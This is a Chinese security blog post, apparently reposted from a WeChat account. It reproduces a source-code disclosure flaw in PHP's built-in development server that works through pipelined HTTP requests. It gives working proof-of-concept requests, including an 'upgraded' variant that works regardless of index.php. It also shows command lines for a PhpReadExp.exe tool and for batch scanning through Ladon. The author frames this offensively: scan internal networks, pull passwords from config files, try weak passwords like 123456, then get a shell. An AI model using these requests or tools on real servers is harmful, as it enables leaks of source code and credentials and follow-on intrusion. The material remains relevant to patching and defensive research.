漏洞复现php 5.5.45 - 8.0.2任意文件读取

admin 2023年2月4日18:17:36评论205 views字数 1635阅读5分27秒阅读模式

简介

在多个编程语言内置服务器上测试请求流水线时,我们观察到PHP的奇怪行为。随着我们深入研究,我们发现了PHP中的一个安全漏洞,它可能会将PHP文件的源代码暴露为静态文件,而不是按预期执行。

经过进一步测试,我们发现该漏洞在最新的PHP版本中不存在。我们对不同版本的PHP进行了进一步的测试,以确定何时修复了错误,以及原因。我们的调查使我们找到了PHP 7.4.22的修补版本,通过对未修补代码与修补代码的比较,我们可以看到为修复该漏洞所做的具体更改。

成功版本

漏洞介绍是PHP<=7.4.21版本,K8测试成功版本影响到8.x,以下随机测试的几个版本均成功读取到PHP源码

php 5.4.45  php 5.5.38php 7.3.4ntsphp 8.0.2-nts  

失败版本

php 8.2.2-ntsphp 8.0.27-nts

漏洞复现

命令行启动php服务器

php -S 0.0.0.0:888 -n -t ./

漏洞复现php 5.5.45 - 8.0.2任意文件读取

POC

GET /info.php HTTP/1.1rnHost: 192.168.188.3:888rnrnrnGET / HTTP/1.1rnrn

此POC在PHP服务器不存在index.php文件时,不管新旧版本PHP均可成功读取info.php文件代码。但首页存在index.php文件时,旧版本依旧可读,但7.3.X以上版本,POC失效。

漏洞复现php 5.5.45 - 8.0.2任意文件读取

burp测试的时候要关掉自动填充Content-Length,以免复现失败

升级POC

index.php我们观察到,如果该文件存在于服务器启动的当前目录中,则不会泄露源代码。index.php然而,我们对漏洞利用 POC 进行了轻微修改,
无论文件是否存在,它都会公开源代码。其原因在于上面对bug的解释。

GET /info.php HTTP/1.1rnHost: 192.168.188.3:888rnrnrnGET /k8gege.org HTTP/1.1rnrn


漏洞复现php 5.5.45 - 8.0.2任意文件读取

工具读取任意文件内容

工具演示读取任意文件内容,实际上不只是读取php代码,其它文本也可以,比如db.config、*.ini等相关密码配置文件。

PhpReadExp.exe http://k8gege.org     默认读取index.php内容PhpReadExp.exe http://k8gege.org info.php 读取info.php内容

漏洞复现php 5.5.45 - 8.0.2任意文件读取

批量检测

工具可独立使用,也可当作Ladon模块使用,存在漏洞URL将回显index.php文件内容。由于是开发服务器,可能在外网存在漏洞的概率比较小,当然也不好说,可能有开发人员懒得搭Apache、Nginx、IIS等服务器,直接使用php搭建个小站也是有可能的,因为在漏洞爆光前,他们也不知道存在此漏洞啊,为了方便,一条命令搞定,自然没必要去使用中间件。内网若是扫得到,估计就是生产环境了,可能也很少人直接使用PHP开发服务器,这个我也不是太了解PHP开发人员平时喜欢直接PHP还是中间件,实战为王,不管有没有,内网遇到PHP服务器,先检测是否存在漏洞再说,不要用猜的,所谓经验只是知道可能性小,概率小和概率0是两个概念,除非你有通杀0day,轻易拿下很多项目,要不然概率小的漏洞,甚至弱口令123456这种你认为目标不可能用的密码都要尝试,虽然概率低,但在实战中上千个项目中依然有几个是通过123456进后台再getshell的,记住实战为王,表面理论或猜的都是流氓。

Ladon48 url PhpReadExp.exeLadon48 url.txt PhpReadExp.exe

漏洞复现php 5.5.45 - 8.0.2任意文件读取

注意

此漏洞只是读取任意文件内容,并非PHP代码执行,读取到的PHP代码,需要查看是否有相关密码,或存在相应漏洞再getshell。

 https://blog.projectdiscovery.io/php-http-server-source-disclosure/

原文始发于微信公众号(K8实验室):漏洞复现php 5.5.45 - 8.0.2任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月4日18:17:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现php 5.5.45 - 8.0.2任意文件读取https://cn-sec.com/archives/1536917.html

发表评论

匿名网友 填写信息